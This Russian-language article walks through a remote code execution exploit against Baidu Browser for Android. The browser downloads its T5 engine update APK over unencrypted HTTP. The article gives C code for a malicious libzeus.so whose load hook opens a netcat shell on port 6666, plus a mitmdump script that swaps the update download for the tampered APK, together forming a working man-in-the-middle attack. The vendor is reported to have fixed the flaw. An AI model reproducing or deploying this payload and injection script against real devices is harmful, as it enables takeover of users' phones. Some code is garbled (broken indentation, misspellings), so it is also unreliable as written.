Удаленное выполнение кода в baidu browser для android

Удаленное выполнение кода в baidu browser для android

    Все началось с поста на xda-developers, где были расписаны уязвимости в браузере Baidu. Члены команды lifeform-labs решили показать пример того, что эксплуатация не составляет особого труда. Браузер же очень популярен: по данным Google Play, число загрузок составляет от десяти до пятидесяти миллионов.

    Перед началом установки браузера автор запустил mitmproxy.

    И что мы видим? APK загружается по протоколу HTTP:
GET http://s.mobile-global.baidu.com/mbrowser/guanxing/T5Update/res/54b2672d5353481ab5a762bdcd74977f.apk

    Если открыть предыдущий запрос, то мы увидим ответ JSON с адресом APK:

GET http://mobile-global.baidu.com/mbrowser/management/zeus_update.do?si=12.1.0.0&so=6.2.7.11&zi=-&zo=-&api=1&pt=ma&co=US&la=en&ch=gp&av=6.3.0.1&sv=a_19&pr=&n=

    Ответ в JSON:


{
    "d": {
        "downllrl": "http://s.mobile-global.baidu.com/mbrowser/guanxing/T5Update/ res/54b2672d5353481ab5a762bdcd74977f.apk",
        "force": "0",
        "freq": "365d",
        "md5": "54b2672d5353481ab5a762bdcd74977f",
        "remindCount": "1",
        "size": "7636",
        "zi": "12.1.0.0",
        "zo": "6.2.7.11"
    },
"n": "8913ced893e7656abl90490d9bf96e9f",
"s": 1
}

Удаленное выполнение кода в baidu browser для android

 

После успешной установки пользова-тель увидит следующее сообщение.
Что такое T5 Engine, нам не осо-бенно важно (но если любопытно, то знай: это дополнение, которое увели-чивает скорость Baidu). Загрузим и его для дальнейшего изучения:


wget http://s.mobile-global.baidu.com/mbrowser/guanxing/T5Update/res/54b2672d5353481ab5a762bdcd74977f.apk

...

2016-02-27 12:56:21 (1.95 MB/s) — ‘54b2672d5353481ab5a762bdcd74977f. apk’ saved [7819869/7819869]

    Смотрим содержимое:

unzip -l 54b2672d5353481ab5a762bdcd74977f.apk

Archive: 54b2672d5353481ab5a762bdcd74977f.apk

Length    Date    Time    Name
---------   ------   -------   ----------------
21704     03-24-16 14:32 libbaidujni.so
99576     03-24-16 14:32 libdumper.so
66748     03-24-16 14:32 libZeusPlatformImpl23.so
66752     03-24-16 14:32 libZeusPlatformImpl40.so
66752     03-24-16 14:32 libZeusPlatformImpl41.so
66752     03-24-16 14:32 libZeusPlatformImpl42.so
66756     03-24-16 14:32 libZeusPlatformImpl43.so
66756     03-24-16 14:32 libZeusPlatformImpl443.so
66756     03-24-16 14:32 libZeusPlatformImpl44.so
66752     03-24-16 14:32 libZeusPlatform.so
14495444 03-24-16 14:32 libzeus.so
493810    03-24-16 14:33 com.baidu.zeus.jar
------------                   -----------------------
15644558 12 files

 

Все необходимые библиотеки загружаются по HTTP. Изучаем директорию Baidu, чтобы понять, что и где расположено:
/data/data/com.baidu.browser.inter/files # ls -la

drwx       u0_a151 u0_a151         2016-02-27 11:57 AFRequestCache

-rw         u0_a151 u0_a151 33     2016-02-27 11:57 AF_INSTALLATION

drwx       u0_a151 u0_a151         2016-02-27_11:57_bbm

-rw         u0_a151 u0_a151 10453 2016-02-27 11:57 config gb.json

drwx       u0_a151 u0_a151         2016-02-27_11:57_cyber

drwx       u0_a151 u0_a151         2016-02-27_11:57_data

drwx       u0_a151 u0_a151         2016-02-27_11:57_deeplink

drwx       u0_a151 u0_a151         2016-02-27 11:57 float_window

drwx       u0_a151 u0_a151         2016-02-27_12:44_home

drwx       u0_a151 u0_a151         2016-02-27_11:57_images

-rwxr-xr-x u0_a151 u0_a151 13592 2016-02-27 11:57 libprocmox_v1_4.so

drwx       u0_a151 u0_a151         2016-02-27 11:57 misc

drwx       u0_a151 u0_a151         2016-02-27_11:57_plugin

drwx       u0_a151 u0_a151         2016-02-27_11:57_pv

drwx       u0_a151 u0_a151         2016-02-27_11:57_skin

drwx       u0_a151 u0_a151         2016-02-27 11:57 splash

drwx       u0_a151 u0_a151         2016-02-27_11:57_version
drwx--x--x u0_a151 u0_a151         2016-02-27 12:44 zeus

 

И в итоге находим нужную папку /files/zeus/lib/, куда складируется содер-жимое APK:
/data/data/com.baidu.browser.inter/files/zeus/libs # ls -la

-rw-r--r-- u0_a151 u0_a151 1252704  2016-02-27 12:44 com.baidu.zeus.dex
-rw-r--r-- u0_a151 u0_a151 493810   2016-02-27 12:44 com.baidu.zeus.jar
-rw-r--r-- u0_a151 u0_a151 66752     2016-02-27 12:44 libZeusPlatform.so
...
-rw-r--r-- u0_a151 u0_a151 66756     2016-02-27 12:44 libZeusPlatformImpl443.so
-rw-r--r-- u0_a151 u0_a151 21704     2016-02-27 12:44 libbaidujni.so
-rw-r--r-- u0_a151 u0_a151 99576     2016-02-27 12:44 libdumper.so
-rw-r--r-- u0_a151 u0_a151 14495444 2016-02-27 12:44 libzeus.so
-rw-r--r-- u0_a151 u0_a151 17         2016-02-27 12:44 ver.dat

 

Теперь у нас есть все, что требуется для успешной эксплуатации.

Эксплойт

План следующий:

1. создать zip с библиотеками, которые мы нашли в T5Update APK;
2. заменить одну из библиотек нашей и упаковать в новый zip;
3. провести MitM атаку;
4. подставить наш файл вместо T5Update APK.

    Проверим, какие библиотеки загружаются при запуске браузера:

D/dalvikvm(21640): Trying to load lib /data/data/com.baidu.browser.inter/files/zeus/libs//libzeus.so 0x42775e38

D/dalvikvm(21640): Added shared lib /data/data/com.baidu.browser.inter/files/zeus/libs//libzeus.so 0x42775e38

    Нашей целью будет библиотека libzeus.so. Заменяем ее в созданном архи-ве. Ниже представлен код новой библиотеки для выполнения нашего кода:


#include <jni.h>
#include <stdio.h>
#include <stdlib.h>
 
int JNI_onload( JavaVM* vm, void* reserved )
{
    system( "/data/local/tmp/busybox nc -ll -p 6666 -e /system/bin/sh" );
    return JNI_VERSI0N_1_6;
}

    После этого создадим свой APK с поддельной libzeus.so:

unzip -l bad.apk

Archive: bad.apk
Length Date Time Name
-------  ------ ----- -------
493810  03-24-15 14:33 com.baidu.zeus.jar
21704   03-24-15 14:32 libbaidujni.so
99576   03-24-15 14:32 libdumper.so
9356    02-13-16  16:20 libzeus.so
...
66756   03-24-15 14:32 libZeusPlatformImpl443.so

 

Теперь напишем небольшой скрипт mitmdump, который будет вставлять bad.apk внутрь запроса загрузки T5Update APK:


import os
from libmproxy import proxy, flow
from libmproxy.protocol import http
from libmproxy.models import HTTPResponse
from netlib.http import Headers
 
def start(context, argv):
context.log("[ ] Starting APK Injection!")
 
def request(context, flow):
if not flow.request.host == "s.mobile-global.baidu.com":
return
 
context.log("[Baidu APK Injection] Target host :
{0}".format(flow.request.host))
  if flow.request.path.split(".")[-1] == "apk":
    context.log("[Baidu APK Injection] Target injection point :
      {0}".format(flow.request.path))
      response = HTTPResponse("HTTP/l.0", 200, "OK",
      Headers(Content_Type="application/octet-stream",), "PWNED")
 
# Inject our APK into the HTTP response
try:
  with open("bad.apk", "rb") as f:
    modified = f.read()
    response.content = modified
    response.headers["Content-Length"] = str(len(modified))
    f.close()
except IOError as e:
    raise e
 
    flow.reply(response)

 

Автор записал демо с примером успешной эксплуатации:

*Ссылка под полным постом (загрузить)*


*Производитель выпустил исправление.

][ 03.16

Поделиться
Плюсануть
Отправить

Вся информация предоставлена исключительно в ознакомительных целях. Ни редакция, ни автор не несут ответственности за любой возможный вред, причиненный материалами сайта.

2 Rubilnik Android / Статьи 2 716 15 апреля 2016

Рекомендуем также

Тестирование PCSL: Лучшие антивирусы для Android
Тестирование PCSL: Лучшие антивирусы для Android

Независимая китайская лаборатория PC Security Labs (PCSL) опубликовала результаты тестирования 27...

Jelly Splash hack
Jelly Splash hack

Взлом на звезды и деньги для игры Jelly Splash на андроид с root и без....

Установка Ubuntu Touch как вторую ОС
Установка Ubuntu Touch как вторую ОС

Инструкция по устанвки Ubuntu Touch как вторую ОС используя MultiROM.  ...

ARC Welder или запуск apk. приложений в Google Chrome.
ARC Welder или запуск apk. приложений в Google Chrome.

ARC Welder — расширение, которое поможет запустить Android-приложения в Chrome...


Комментарии (0)


Информация
Посетители, находящиеся в группе Гости, не могут оставлять комментарии к данной публикации.

iOS cydia small iconRepo [cydia.shlyahten.ru]

G iconGAPPS (все версии)

Популярное

{{-- last_topics --}